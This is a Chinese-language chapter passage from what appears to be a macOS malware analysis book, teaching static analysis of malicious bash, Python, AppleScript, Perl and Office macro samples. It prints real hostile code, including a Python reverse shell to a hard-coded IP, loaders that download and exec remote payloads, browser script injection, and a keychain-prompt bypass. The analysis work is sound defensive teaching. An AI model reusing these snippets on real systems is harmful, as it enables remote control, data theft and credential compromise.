你可能会注意到脚本的各个部分是经过模糊化的,比如第一段长长的乱码。我们可以识别出模糊化方案是 base64,因为脚本将模糊化字符串通过管道传递给 macOS 的 base64 命令(并使用解码标志 -D)2。使用相同的 base64 命令,我们可以手动解码,从而完全去除脚本的模糊化。
一旦这些编码的脚本片段被解码,就容易全面理解脚本。第一行,echo c2NyZ...Wwn | base64 -D | sh,解码并执行 screen -dm bash -c 'sleep 5;killall Terminal',它有效地终止任何正在运行的 Terminal.app 实例,这很可能是作为一种基本的反分析技巧。接着,通过 curl,恶意软件下载并保持一个名为 a.plist 的启动代理。接下来,它解码并执行另一个模糊化的命令。解码后的命令,chmod +x ~/Library/LaunchAgents/a.plist,不必要地将启动代理的属性列表设置为可执行。然后,通过 launchctl load 命令加载这个属性列表。恶意软件接着下载另一个文件,即另一个名为 c.sh 的脚本。解码最后两行后可以发现,恶意软件首先将该脚本设置为可执行,然后执行它。
那么 /Users/Shared/c.sh 脚本做了什么呢?让我们来看看(清单 4-9)。
#!/bin/bash
v=$( curl --silent http://usb.mine.nu/p.php | grep -ic 'open' )
p=$( launchctl list | grep -ic "HEYgiNb" )
if [ $v -gt 0 ]; then
if [ ! $p -gt 0 ]; then
echo IyAtKi0gY29kaW5n...AgcmFpc2UK | base64 --decode | python 3
fi
清单 4-9:另一个恶意的 bash 脚本(Siggen)
在连接到 usb.mine.nu/p.php 后,它会检查响应中是否包含字符串 'open'。之后,脚本检查是否有名为 HEYgiNb 的启动服务正在运行。此时,它解码一大段 base64 编码的数据,并通过 Python 执行它。接下来我们来讨论如何静态分析这样的 Python 脚本。
Python 脚本
轶事性地说,Python 似乎是 Mac 恶意软件作者的首选脚本语言,因为它非常强大、灵活,并且 macOS 原生支持。尽管这些脚本通常利用基本的编码和混淆技术来使分析变得复杂,但分析恶意 Python 脚本仍然是一项相对直接的任务。一般的做法是首先解码或去混淆 Python 脚本,然后阅读解码后的代码。尽管各种在线网站可以帮助分析混淆的 Python 脚本,但手动分析的方法也同样有效。接下来我们将讨论两种方法。
让我们首先考虑 清单 4-10,一个未混淆的示例:虚拟脚本的小型 Python 载荷(包含在一个 bash 脚本中)。
#!/bin/bash
while :
do
python -c 1 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
2 s.connect(("185.243.115.230",1337));
3 os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
4 p=subprocess.call(["/bin/sh","-i"]);'
sleep
done
清单 4-10:一个恶意的 Python 脚本(虚拟脚本)
由于这段代码没有被混淆,理解恶意软件的逻辑是很直接的。它首先导入了多个标准的 Python 模块,如 socket、subprocess 和 os 1。接着,它创建了一个套接字,并连接到 185.243.115.230 的 1337 端口 2。然后,它将 STDIN(0)、STDOUT(1)和 STDERR(2)的文件句柄复制, 3 将它们重定向到套接字。
脚本接着通过 -i 标志 4 以交互模式执行 shell,/bin/sh。由于 STDIN、STDOUT 和 STDERR 的文件句柄已经被复制到连接的套接字,攻击者输入的任何远程命令都将在受感染的系统上本地执行,任何输出也会通过套接字发送回来。换句话说,这段 Python 代码实现了一个简单的交互式远程 shell。
另一种至少部分用 Python 编写的 macOS 恶意软件是 Siggen。如前一部分所述,Siggen 包含一个 bash 脚本,用于解码大量 base64 编码的数据,并通过 Python 执行它。清单 4-11 显示了解码后的 Python 代码:
# -*- coding: utf-8 -*-
import urllib2
from base64 import b64encode, b64decode
import getpass
from uuid import getnode
from binascii import hexlify
def get_uid():
return hexlify(getpass.getuser() + "-" + str(getnode()))
LaCSZMCY = "Q1dG4ZUz"
data = { 1
"Cookie": "session=" + b64encode(get_uid()) + "-eyJ0eXBlIj...ifX0=", 2
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
}
try:
request = urllib2.Request("http://zr.webhop.org:1337", headers=data)
urllib2.urlopen(request).read() 3
except urllib2.HTTPError as ex:
if ex.code == 404:
exec(b64decode(ex.read().split("DEBUG:\n")[1].replace("DEBUG-->", ""))) 4
else:
raise
清单 4-11:解码后的 Python 载荷(Siggen)
在导入了几个模块后,脚本定义了一个名为 get_uid 的函数。这个子程序根据受感染系统的用户和 MAC 地址生成一个唯一标识符。接着,脚本构建了一个字典,用于保存 HTTP 请求头,以便在随后的 HTTP 请求中使用 1。内嵌的、硬编码的 base64 编码数据 -eyJ0eXBlIj...ifX0= 2 解码成一个 JSON 字典(清单 4-12)。
'{"type": 0, "payload_options": {"host": "zr.webhop.org", "port": 1337}, "loader_options": {"payload_filename": "yhxJtOS", "launch_agent_name": "com.apple.HEYgiNb", "loader_name": "launch_daemon", "program_directory": "~/Library/Containers/.QsxXamIy"}}'
清单 4-12:解码后的配置数据(Siggen)
脚本随后通过 urllib2.urlopen 方法 3 向攻击者的服务器 http://zr.webhop.org 发送请求,端口为 1337。它期待服务器返回一个 404 HTTP 状态码,通常意味着请求的资源未找到。然而,检查脚本后可以发现,恶意软件期望该响应包含 base64 编码的数据,它会提取并解码这些数据,然后执行 4。
不幸的是,在我 2019 年初进行分析时,http://zr.webhop.org 服务器已经不再提供该最终阶段的有效载荷。然而,知名的 Mac 安全研究员 Phil Stokes 提到该脚本“利用了一个公共的后期利用工具包,Evil.OSX,来安装后门。”^(7) 当然,攻击者随时可以替换远程的 Python 有效载荷,以在被感染的系统上执行任何他们想要的操作!
最后一个例子,让我们回到名为 5mLen 的广告软件文件。在本章前面我们已经讨论过,当时我们使用 file 工具确定它是一个编译后的 Python 代码。由于 Python 是一种解释型语言,用这种语言编写的程序通常会以可读的脚本形式分发。然而,这些脚本也可以被编译并以 Python 字节码的二进制文件格式分发。为了静态分析该文件,你必须首先将 Python 字节码反编译回原始 Python 代码的表示。一个在线资源,比如 Decompiler,可以帮助你完成这一反编译工作。^(8) 另一种选择是安装 uncompyle6 Python 包来本地反编译 Python 字节码。^(9)
列表 4-13 显示了反编译后的 Python 代码:
# Python bytecode 2.7 (62211)
# Embedded file name: r.py
# Compiled at: 2018-07-18 14:41:28
import zlib, base64
exec zlib.decompress(base64.b64decode('eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw=')) 1
列表 4-13:反编译的 Python 代码(未指定的广告软件)
尽管现在我们得到了 Python 源代码,但大部分代码仍然以看似编码字符串的形式混淆。通过 zlib.decompress 和 base64.b64decode 的 API 调用,我们可以得出结论,原始源代码已被 base64 编码并使用 zlib 压缩,以稍微增加静态分析的难度。
去混淆代码最简单的方法是通过 Python Shell 解释器。我们可以将 exec 语句转换为 print 语句,然后让解释器为我们完全去混淆代码(列表 4-14):
% **python**
> **import zlib, base64**
> **print zlib.decompress(base64.b64decode(eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw='))**
from subprocess import Popen,PIPE
...
class wvn:
def __init__(wvd,wvB): 1
wvd.wvU()
wvd.B64_FILE='ij1.b64'
wvd.B64_ENC_FILE='ij1.b64.enc'
wvd.XOR_KEY="1bm5pbmcKc"
wvd.PID_FLAG="493024ui5o"
wvd.PLAIN_TEXT_SCRIPT=''
wvd.SLEEP_INTERVAL=60
wvd.URL_INJECT="https://1049434604.rsc.cdn77.org/ij1.min.js"
wvd.MID=wvd.wvK(wvd.wvj())
def wvR(wvd):
if wvc(wvd._args)>0:
if wvd._args[0]=='enc99':
pass
elif wvd._args[0].startswith('f='): 2
try:
wvd.B64_ENC_FILE=wvd._args[0].split('=')[1] 3
except:
pass
def wvY(wvd):
with wvS(wvd.B64_ENC_FILE)as f:
wvd.PLAIN_TEXT_SCRIPT=f.read().strip()
wvd.PLAIN_TEXT_SCRIPT=wvF(wvd.wvq(wvd.PLAIN_TEXT_SCRIPT))
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("pid_REPLACE",wvd.PID_FLAG)
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("script_to_inject_REPLACE",
wvd.URL_INJECT)
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("MID_REPLACE",wvd.MID)
def wvI(wvd):
p=Popen(['osascript'],stdin=PIPE,stdout=PIPE,stderr=PIPE)
wvi,wvP=p.communicate(wvd.PLAIN_TEXT_SCRIPT)
列表 4-14:去混淆后的 Python 代码(未指定的广告软件)
拿到完整的去混淆 Python 代码后,我们可以通过阅读脚本来继续分析,弄清楚它的功能。在 wvn 类的 __init__ 方法中,我们看到涉及多个感兴趣变量的引用 1。根据它们的名称(以及进一步的分析),我们推断这些变量包含了一个 base64 编码文件的名称(ij1.b64)、一个 XOR 加密密钥(1bm5pbmcKc),以及一个“注入”URL(https://1049434604.rsc.cdn77.org/ij1.min.js)。如你所见,后者会被本地注入到用户网页中,用来加载恶意的 JavaScript。在 wvR 方法中,代码检查脚本是否通过 f= 命令行选项被调用 2。如果是,它会将 B64_ENC_FILE 变量设置为指定的文件 3。在被感染的系统上,脚本会持续通过 python 5mLen f=6bLJC 命令被调用,这意味着 B64_ENC_FILE 会被设置为 6bLJC。
检查 6bLJC 文件会发现它被编码,或者可能被加密。虽然我们可能能够手动解码它(因为我们有 XOR 密钥 1bm5pbmcKc),但还有一种更简单的方法。同样,通过在解码文件内容的逻辑后立即插入 print 语句,我们可以强制恶意软件输出解码后的内容。这个输出结果竟然是另一个恶意软件执行的脚本。然而,这个脚本不是 Python,而是 AppleScript,接下来我们将深入探讨它。关于该恶意软件静态分析的更详细步骤,请参见我的文章《Mac 广告软件,类 Python》。^(10)
AppleScript
AppleScript 是一种特定于 macOS 的脚本语言,通常用于无害目的,且经常用于系统管理,例如任务自动化或与系统中其他应用程序进行交互。其语法设计上与口语英语非常接近。例如,要显示一个带有警报的对话框(Listing 4-15),你可以简单地写:
display dialog "Hello, World!"
Listing 4-15: 在 AppleScript 中的“Hello, World!”
你可以通过 /usr/bin/osascript 命令执行这些脚本。AppleScript 可以以其原始的、可读的人类形式或编译后的形式分发。前者使用 .applescript 扩展名,而后者通常使用 .scpt 扩展名,如 Listing 4-16 所示:
% **file helloWorld.scpt**
helloWorld.scpt: AppleScript compiled
Listing 4-16: 使用 file 来识别编译过的 AppleScript
除非脚本是使用“仅运行”选项编译的(稍后将详细说明),否则 Apple 的脚本编辑器可以从编译后的脚本中重建源代码。例如,Figure 4-8 显示了脚本编辑器成功地反编译了我们编译过的“Hello, World!”脚本。

图 4-8: 苹果的脚本编辑器
你还可以通过 macOS 内置的 osadecompile 命令反编译脚本(Listing 4-17):
% **osadecompile helloWorld.scpt**
display dialog "Hello, World!"
Listing 4-17: 通过 AppleScript 显示“Hello, World!”
让我们从一个简单的示例开始。之前在本章中,我们讨论了一个用 Python 编译的广告软件样本,并指出它包含一个 AppleScript 组件。Python 代码解密存储在 wvd.PLAIN_TEXT_SCRIPT 变量中的 AppleScript,然后通过调用 osascript 命令执行它。Listing 4-18 显示了这个 AppleScript:
global _keep_running
set _keep_running to "1"
repeat until _keep_running = "0"
«event XFdrIjct» {}
end repeat
on «event XFdrIjct» {}
delay 0.5
try
if is_Chrome_running() then
tell application "Google Chrome" to tell active tab of window 1 1
set sourceHtml to execute javascript "document.getElementsByTagName('head')[0].
innerHTML"
if sourceHtml does not contain "493024ui5o" then
tell application "Google Chrome" to execute front window's active tab javascript 2
"var pidDiv = document.createElement('div'); pidDiv.id = \"493024ui5o\";
pidDiv.style = \"display:none\"; pidDiv.innerHTML =
\"bbdd05eed40561ed1dd3daddfba7e1dd\";
document.getElementsByTagName('head')[0].appendChild(pidDiv);"
tell application "Google Chrome" to execute front window's active tab javascript
"var js_script = document.createElement('script'); js_script.type = \"text/
javascript\"; js_script.src = \"https://1049434604.rsc.cdn77.org/ij1.min.js\"; 3
document.getElementsByTagName('head')[0].appendChild(js_script);"
end if
end tell
else
set _keep_running to "0"
end if
end try
end «event XFdrIjct»
on is_Chrome_running()
tell application "System Events" to (name of processes) contains "Google Chrome" 4
end is_Chrome_running
Listing 4-18: 恶意 AppleScript(未指定的广告软件)
简而言之,这段 AppleScript 调用了一个is_Chrome_running函数,通过向操作系统询问进程列表中是否包含"Google Chrome"来检查 Google Chrome 是否正在运行。如果是,脚本会获取当前标签页的 HTML 代码,并检查是否存在注入标记:493024ui5o。如果没有找到这个标记,脚本就会注入并执行两段 JavaScript 代码。通过我们的分析,可以确定这段 AppleScript 注入的 JavaScript 的最终目标是从https://1049434604.rsc.cdn77.org/加载并执行另一个恶意的 JavaScript 文件ij1.min.js,在用户的浏览器中运行。不幸的是,由于在分析时该 URL 已下线,我们无法确切知道该脚本会做什么,尽管像这样的恶意软件通常会在用户的浏览器会话中注入广告或弹窗,以便为其作者创造收入。当然,注入的 JavaScript 也可能执行更恶意的操作,比如捕获密码或借助已认证用户的会话进行攻击。
一个相当古老的 Mac 恶意软件示例是利用 AppleScript 的 DevilRobber。^(11)虽然这个恶意软件主要集中在窃取比特币和挖掘加密货币,但它也瞄准了用户的钥匙串,试图提取账户、密码和其他敏感信息。为了访问钥匙串,DevilRobber 必须绕过钥匙串访问提示,它通过 AppleScript 实现了这一点。
具体而言,DevilRobber 通过 macOS 内置的osascript工具执行了一个名为kcd.scpt的恶意 AppleScript 文件。这个脚本发送了一个合成鼠标点击事件到钥匙串访问提示的“始终允许”按钮,从而允许恶意软件访问钥匙串中的内容(图 4-9)。

图 4-9:通过 AppleScript(DevilRobber)进行的合成鼠标点击
用于执行这个合成鼠标点击的 AppleScript 非常简单;它只是告诉SecurityAgent进程(该进程拥有钥匙串访问窗口)点击“始终允许”按钮(Listing 4-19):
...
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
Listing 4-19:通过 AppleScript(DevilRobber)进行的合成鼠标点击
AppleScript 语法的可读性,再加上 Apple 的脚本编辑器解析并常常能反编译此类脚本的能力,使得恶意 AppleScript 的分析变得相当简单。从攻击者的角度来看,AppleScript 极高的可读性是一个相当大的负面因素,因为这意味着恶意软件分析师可以轻松理解任何恶意脚本。如前所述,攻击者可以将 AppleScript 导出为仅运行模式(图 4-10)。不幸的是,脚本编辑器无法反编译通过仅运行选项导出的 AppleScript(或通过 osacompile 命令与 -x 选项),这使得某些分析变得复杂。

图 4-10:生成仅运行的 AppleScript
仅运行的 AppleScript 文件无法被人类阅读,也不能通过 osadecompile 反编译。如在清单 4-20 中所示,尝试反编译仅运行的脚本会导致 errOSASourceNotAvailable 错误:
% **file helloWorld_RO.scpt**
helloWorld_RO: AppleScript compiled
% **less helloWorld_RO.scpt**
"helloWorld_RO" may be a binary file. See it anyway? **Y**
FasdUAS 1.101.10^N^@^@^@^D^O<FF><FF><FF><FE>^@^A^@^B^A<FF><FF>^@^@^A<FF><FE>^@^@^N^@^A^@^@^O^P^@^B^@^C<FF><FD>^@^C^@^D^A<FF><FD>^@^@^P^@^C^@^A<FF><FC>
<FF><FC>^@^X.aevtoappnull^@^@<80>^@^@^@<90>^@****^N^@^D^@^G^P<FF><FB><FF>...
% **osadecompile helloWorld_RO.scpt**
osadecompile: helloWorld_RO.scpt: errOSASourceNotAvailable (-1756).
清单 4-20:通过 osadecompile 反编译仅运行的 AppleScript 失败
一个利用仅运行 AppleScript 的 Mac 恶意软件示例是 OSAMiner,Mac 恶意软件研究员 Phil Stokes 在《逆向分析恶意仅运行 AppleScripts 的冒险》中对其进行了详细分析。^(12) 在分析过程中,他提供了一个全面的技术列表,用于分析仅运行的 AppleScript 文件。他的文章指出,OSAMiner 安装了一个启动项,持久化一个 AppleScript。此启动项在清单 4-21 中显示。请注意,ProgramArguments 键中的值将指示 macOS 调用 osascript 命令执行一个名为 com.apple.4V.plist 的 AppleScript 文件 1:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.FY9</string>
<key>Program</key>
<string>/usr/bin/osascript</string>
1 <key>ProgramArguments</key>
<array>
<string>osascript</string>
<string>-e</string>
<string>do shell script "osascript
~/Library/LaunchAgents/com.apple.4V.plist"</string>
</array>
<key>RunAtLoad</key>
<true/>
...
</dict>
</plist>
清单 4-21:一个持久化启动项 plist(OSAMiner)
运行 file 和 osadecompile 命令确认持久化项 com.apple.4V.plist 是一个仅运行的 AppleScript,无法通过 macOS 的内置工具进行反编译(清单 4-22):
% **file com.apple.4V.plist**
com.apple.4V.plist: AppleScript compiled
% **osadecompile com.apple.4V.plist**
osadecompile: com.apple.4V.plist: errOSASourceNotAvailable (-1756).
清单 4-22:通过 osadecompile 反编译仅运行的 AppleScript 失败(OSAMiner)
幸运的是,我们可以转向 Jinmo 创建的开源 AppleScript 反汇编器。^(13) 安装该反汇编器后,我们可以反汇编 com.apple.4V.plist 文件(清单 4-23):
% **ASDisasm/python disassembler.py OSAMiner/com.apple.4V.plist**
=== data offset 2 ===
Function name : e
Function arguments: ['_s']
...
00013 RepeatInCollection <disassembler not implemented>
...
00016 PushVariable [var_2]
00017 PushLiteral 4 # <Value type=fixnum value=0x64>
00018 Add
=== data offset 3 ===
Function name : d
Function arguments: ['_s']
...
00013 RepeatInCollection <disassembler not implemented>
...
00016 PushVariable [var_2]
00017 PushLiteral 4 # <Value type=fixnum value=0x64>
00018 Subtract
清单 4-23:通过 AppleScript 反汇编器反编译仅运行的 AppleScript
反汇编器将只能运行的 AppleScript 分解成多个函数(在 AppleScript 术语中称为 handlers)。例如,我们可以看到一个名为 e(“encode”?)的函数,它在循环中将 0x64 加到某个项上,而 d(“decode”?)函数似乎通过减去 0x64 执行反向操作。后者 d 在代码的其他地方被多次调用,以解混淆各种字符串。
然而,反汇编的结果仍然有待改进。例如,在代码中的多个地方,反汇编器没有以人类可读的方式充分提取硬编码的字符串。为了弥补这些不足,Stokes 创建了一个名为 aevt_decompile 的开源 AppleScript 反编译器。^(14) 这个反编译器的输入是 AppleScript 反汇编器的输出(见清单 4-24):
% **ASDisasm/disassembler.py OSAMiner/com.apple.4V.plist > com.apple.4V.disasm**
% **aevt_decompile ASDisasm/com.apple.4V.disasm**
清单 4-24:通过 AppleScript 反汇编器和 aevt_decompile 反编译只能运行的 AppleScript
aevt_decompile 反编译器生成的输出更有利于分析。例如,它提取了硬编码的字符串并使其可读,同时正确识别并注释了 Apple Event 代码。通过反编译得到的 AppleScript,分析可以继续进行。在他的写作中,Stokes 提到,恶意软件会将嵌入的 AppleScript 写入 ~/Library/k.plist 并执行它。通过查看反编译的代码,我们可以识别出这一逻辑(见清单 4-25):
% **less com.apple.4V.disasm.out**
...
=== data offset 5 ===
Function name : 'Open Application'
...
;Decoded String "~/Library/k.plist"
000e0 PushLiteralExtended 36 # <Value type=string value='\x00\x8b\x00\x84...'>
...
;<command name="do shell script" code="sysoexec" description="Execute a shell script
using the 'sh' shell"> --> in StandardAdditions.sdef
000e9 MessageSend 37 # <Value type=event_identifier value='syso'-'exec'-...> 1
...
;Decoded String "osascript ~/Library/k.plist > /dev/null 2> /dev/null & "
000ee PushLiteralExtended 38 # <Value type=string value='\x00\xd3\x00\xd7...'>] 2
清单 4-25:通过 aevt_decompile 进一步反编译只能运行的 AppleScript(OSAMiner)
如你所见,代码通过调用 do shell script 命令 1 输出嵌入的脚本。然后,它使用 osascript 命令执行这个脚本(将任何输出或错误重定向到 /dev/null)2。
阅读反编译后的 AppleScript 其余部分可以揭示该 OSAMiner 恶意软件组件的其他功能。有关恶意软件作者如何滥用 AppleScript 的进一步讨论,请参见“AppleScript 如何用于攻击 macOS。”^(15)
Perl 脚本
在 macOS 恶意软件的世界中,Perl 并不是一种常见的脚本语言。然而,至少有一种臭名昭著的 macOS 恶意软件是用 Perl 编写的:FruitFly。FruitFly 于 2000 年代中期创建,在野外几乎存在了 15 年之久都未被发现。FruitFly 的主要持久组件,通常命名为 fpsaud,就是用 Perl 编写的(见清单 4-26):
#!/usr/bin/perl
use strict;use warnings;use IO::Socket;use IPC::Open2;my$l;sub G{die if!defined syswrite$l,$_[0]}sub J{my($U,$A)=('','');while($_[0]>length$U){die if!sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;}sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N;$U=~s/\\/\//g;$U}subI{my$U=eval{my$C=`$_[0]`;chomp$C;$C};$U=''if!defined$U;$U;}sub K{$_[0]?v1:v0}sub Y{pack'V',$_[0]}sub B{pack'V2',$_[0]/2**32,$_[0]%2**32} ...
清单 4-26:混淆的 Perl(FruitFly)
像其他脚本语言一样,使用 Perl 编写的程序通常以脚本形式分发,而不是编译后的形式。因此,分析它们相对直接。然而,在 FruitFly 的情况下,恶意软件作者通过删除代码中的不必要空白、重命名变量和子程序并使用无意义的单个字母名称,试图复杂化分析,这是一种常见的混淆和代码最小化的策略。
利用各种在线 Perl“美化工具”中的任何一个,我们可以重新格式化恶意脚本并生成更易读的代码,如清单 4-27 所示(尽管变量和子程序的名称依然没有意义):
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use IPC::Open2;
...
1 $l = new IO::Socket::INET(PeerAddr => scalar(reverse $g),
PeerPort => $h,
Proto => 'tcp',
Timeout => 10);
G v1.Y(1143).Y($q ? 128 : 0).Z(($z ? I('scutil --get LocalHostName') : '') ||
2 I('hostname')).Z(I('whoami'));
for (;;) {
...
3 $C = `ps -eAo pid,ppid,nice,user,command 2>/dev/null`
if (!$C) {
push@ v, [0, 0, 0, 0, "*** ps failed ***"]
}
...
清单 4-27:已美化,尽管仍然有些混淆的 Perl(FruitFly)
美化过的 Perl 脚本仍然不容易阅读,但只需一点耐心,我们就可以推测出恶意软件的全部能力。首先,脚本使用use关键字导入了多个 Perl 模块。这些模块提供了脚本正在进行的操作的线索:IO::Socket模块表明具有网络功能,而IPC::Open2模块则暗示恶意软件与进程交互。
几行后,脚本调用了IO::Socket::INET来创建与攻击者远程命令与控制服务器的连接 1。接着,我们可以看到它调用了内置的scutil、hostname和whoami命令 2,这些命令可能是恶意软件用来生成被感染的 macOS 系统基本信息的。
在代码的其他部分,恶意软件调用其他系统命令以提供更多功能。例如,它调用ps命令生成进程列表 3。通过关注恶意软件 Perl 代码中调用的命令,这种方法可以提供足够的关于其能力的洞察。要对该威胁进行全面分析,请参阅我的研究论文《进攻性恶意软件分析:剖析 OSX/FruitFly》^(16)。
Microsoft Office 文档
分析 Windows 恶意软件的研究人员很可能会遇到包含恶意宏的 Microsoft Office 文档。不幸的是,最近机会主义的恶意软件作者也加大了感染针对 Mac 用户的 Office 文档的力度。这些文档可能仅包含特定于 Mac 的宏代码,或者同时包含针对 Windows 和 Mac 的宏代码,使其具备跨平台能力。
我们在第一章中简要讨论了恶意 Office 文档。回想一下,宏为文档提供了动态化的方式,通常通过向 Microsoft Office 文档中添加可执行代码来实现。使用file命令,你可以轻松识别 Microsoft Office 文档(清单 4-28):
% **file "U.S. Allies and Rivals Digest Trump's Victory.docm"**
U.S. Allies and Rivals Digest Trump's Victory.docm: Microsoft Word 2007+
清单 4-28:使用file命令识别 Office 文档
.docm扩展名是文件包含宏的一个很好的指示。除此之外,判断宏是否具有恶意性则需要更多的努力。各种工具可以帮助进行这种静态分析。oletools 工具集就是其中最好的之一。^(17) 该工具集是免费的开源软件,包含多种 Python 脚本,用于促进对 Microsoft Office 文档和其他 OLE 文件的分析。
该工具集包括olevba实用程序,旨在提取 Office 文档中嵌入的宏。通过 pip 安装 oletools 后,执行olevba并加上-c标志和宏文件的路径。如果文档中包含宏,它们将被提取并打印到标准输出(清单 4-29):
% **sudo pip3 install -U oletools**
% **olevba -c**`<path/to/document>`
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin
...
列表 4-29:使用olevba提取宏
例如,我们来仔细看看一个恶意的 Office 文档,名为U.S. Allies and Rivals Digest Trump’s Victory.docm,它在 2016 年美国总统选举后不久被发送给毫无防备的 Mac 用户。首先,我们使用olevba来确认文档中是否存在宏,并提取出嵌入的宏(列表 4-30):
% **olevba -c "U.S. Allies and Rivals Digest Trump's Victory.docm"**
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1 Sub autoopen()
Fisher
End Sub
Public Sub Fisher()
Dim result As Long
Dim cmd As String
2 cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
...
result = system("echo ""import sys,base64;exec(base64.b64decode(
3 \"" " & cmd & " \""));"" | python &")
End Sub
列表 4-30:使用olevba提取恶意宏
如果你打开一个包含宏的 Office 文档并启用宏,像AutoOpen、AutoExec或Document_Open这样的子程序中的代码将自动运行。如你所见,这个“特朗普胜利”文档包含了其中一个子程序的宏代码 1。宏子程序名称不区分大小写(例如,AutoOpen和autoopen是等价的)。有关自动调用的子程序的更多详细信息,请参见微软的开发者文档《Word 中 AutoExec 和 AutoOpen 宏行为的描述》。^(18)
在这个例子中,autoopen子程序中的代码调用了一个名为Fisher的子程序,构建了一个大型的 base64 编码字符串,存储在名为cmd的变量中 2,然后调用系统 API 并将该字符串传递给 Python 进行执行 3。解码嵌入的字符串确认它是 Python 代码,这并不令人惊讶,因为宏代码将其交给了 Python。将 Python 代码的各个部分输入搜索引擎,很快就能发现它是一个著名的开源后期利用代理,名为 Empyre。^(19)
现在我们知道恶意宏代码的目标是下载并执行一个功能齐全的交互式后门。在基于宏的攻击中,将控制权交给其他恶意软件是一个常见的主题;毕竟,谁愿意在 VBA 中编写一个完整的后门呢?关于这个宏攻击的详细技术分析,包括指向恶意文档的链接,请参见《新攻击,旧手法:分析一个带有 Mac 特定有效载荷的恶意文档》。^(20)
精密的 APT 组织,如拉撒路集团,也利用恶意 Office 文档。例如,在第一章中,我们分析了一个针对韩国 macOS 用户的宏,并发现它下载并执行了一个二阶段的有效载荷。下载的有效载荷mt.dat实际上是被称为 Yort 的恶意软件,一个 Mach-O 二进制文件,具有标准的后门功能。关于此恶意文档及其攻击整体的详细技术分析,请参见我的分析《OSX.Yort》或文章《拉撒路 APT 通过毒化的 Word 文档针对 Mac 用户》。^(21)
应用程序
攻击者常常将 Mac 恶意软件打包在恶意应用程序中。应用程序是 Mac 用户熟悉的文件格式,因此用户可能不会多想就运行了它们。此外,由于应用程序与 macOS 紧密集成,双击就足以完全感染 Mac 系统(尽管自 macOS Catalina 以来,公证要求有助于防止某些无意的感染)。
在幕后,应用程序实际上是一个目录,尽管它有一个明确的结构。在苹果的术语中,我们将这个目录称为应用程序包。你可以通过在 Finder 中 CTRL 点击应用程序图标并选择显示包内容来查看应用程序包的内容(如恶意软件 WindTail)(图 4-11)。

![在 Finder 中选择“显示[WindTail]包内容”后,会打开一个新屏幕,显示 Contents 文件夹中的子文件夹:_CodeSignature、MacOS 和 Resources。MacOS 文件夹包含 USRNODE,一个 Unix 可执行文件。](image_fi/501942c04/f04011_2.png)
图 4-11:查看应用程序包的内容(WindTail)
然而,更全面的方法是利用免费的 Apparency 应用程序,它是专门为静态分析应用程序包而设计的(图 4-12)。^(22) 在其用户界面中,你可以浏览应用程序的组件,从中获取关于包的各个方面的宝贵信息,包括标识符和版本信息、代码签名及其他安全功能,以及关于应用程序主可执行文件和框架的信息。
![在 Apparency 中,突出显示 WindTail 应用程序时,会显示一系列信息,包括其位置、标识符(“com.alis.tre”)、版本(“1.0 [1]”)、Gatekeeper 状态(“无法评估”)、以及签名者(“不受信任的证书”)。点击 WindTail 应用程序会打开一个新窗口,显示其信息属性列表。](image_fi/501942c04/f04012.png)
图 4-12:使用 Apparency 查看应用程序包的内容(WindTail)
然而,正如 Apparency 的用户指南所述,它并不会显示应用程序包中的每一个文件。因此,你可能会发现终端对于查看应用程序包的所有文件非常有用(列表 4-31):
% **find Final_Presentation.app/**
Final_Presentation.app/
Final_Presentation.app/Contents
Final_Presentation.app/Contents/_CodeSignature
Final_Presentation.app/Contents/_CodeSignature/CodeResources
Final_Presentation.app/Contents/MacOS
Final_Presentation.app/Contents/MacOS/usrnode
Final_Presentation.app/Contents/Resources
Final_Presentation.app/Contents/Resources/en.lproj
Final_Presentation.app/Contents/Resources/en.lproj/MainMenu.nib
Final_Presentation.app/Contents/Resources/en.lproj/InfoPlist.strings
Final_Presentation.app/Contents/Resources/en.lproj/Credits.rtf
Final_Presentation.app/Contents/Resources/PPT3.icns
Final_Presentation.app/Contents/Info.plist
列表 4-31:使用find命令查看应用程序包的内容(WindTail)
标准应用程序包通常包括以下文件和子目录:
-
Contents/:包含应用程序包所有文件和子目录的目录。
-
Contents/_CodeSignature:如果应用程序已签名,则包含应用程序的代码签名信息(如哈希值)。
-
Contents/MacOS:一个包含应用程序二进制文件的目录,用户在界面中双击应用程序图标时会执行该二进制文件。
-
Contents/Resources:一个包含应用程序用户界面元素的目录,如图片、文档和描述各种用户界面的nib/xib文件。
-
Contents/Info.plist:应用程序的主要配置文件。Apple 指出,macOS 使用此文件来获取有关应用程序的相关信息(例如应用程序的主二进制文件的位置)。
请注意,并非所有前述的应用程序包文件和目录都是必需的。尽管不常见,如果在包中找不到Info.plist文件,操作系统将假定应用程序的可执行文件位于Contents/MacOS目录中,并且其名称与应用程序包匹配。有关应用程序包的全面讨论,请参阅 Apple 的权威开发者文档:“包结构”。^(23)
在静态分析恶意应用程序的过程中,两个最重要的文件是应用程序的Info.plist文件和其主可执行文件。正如我们所讨论的,当启动应用程序时,系统会查阅其Info.plist属性列表文件(如果存在),因为它包含存储在键值对中的关于应用程序的重要元数据。让我们看一下 WindTail 的Info.plist文件片段,突出显示在处理应用程序时特别感兴趣的几个键值对(Listing 4-32):
